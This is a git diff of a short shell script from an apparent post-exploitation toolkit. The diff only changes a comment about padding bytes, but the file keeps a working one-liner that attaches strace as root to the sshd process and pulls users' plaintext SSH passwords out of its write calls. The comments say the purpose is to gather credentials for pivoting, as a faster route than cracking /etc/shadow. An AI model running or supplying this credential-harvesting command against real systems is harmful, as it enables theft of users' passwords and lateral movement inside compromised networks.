diff --git a/Get-Passwords/sshstrace.sh b/Get-Passwords/sshstrace.sh index 2e18fde..8ea88af 100644 --- a/Get-Passwords/sshstrace.sh +++ b/Get-Passwords/sshstrace.sh @@ -2,7 +2,7 @@ # # In a facepalm revelation, it has come to my attention that you can use strace as root to collect passwords from sshd # Passwords are useful for pivoting and can be significantly faster than cracking /etc/shadow -# I've noticed some passwords seem to have an 'r' inserted before them. No idea why... +# If the password is longer than 8 characters and odd-length, some padding byte appears to be inserted at the front # strace -s 64 -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -Eo 'write\(4, "\\0\\0\\0\\[0-9]*[^\]{2,}[^\\0]"' | sed -e 's/write(4, "\\0\\0\\0\\[0-9]*\(.*\)"/\1/g'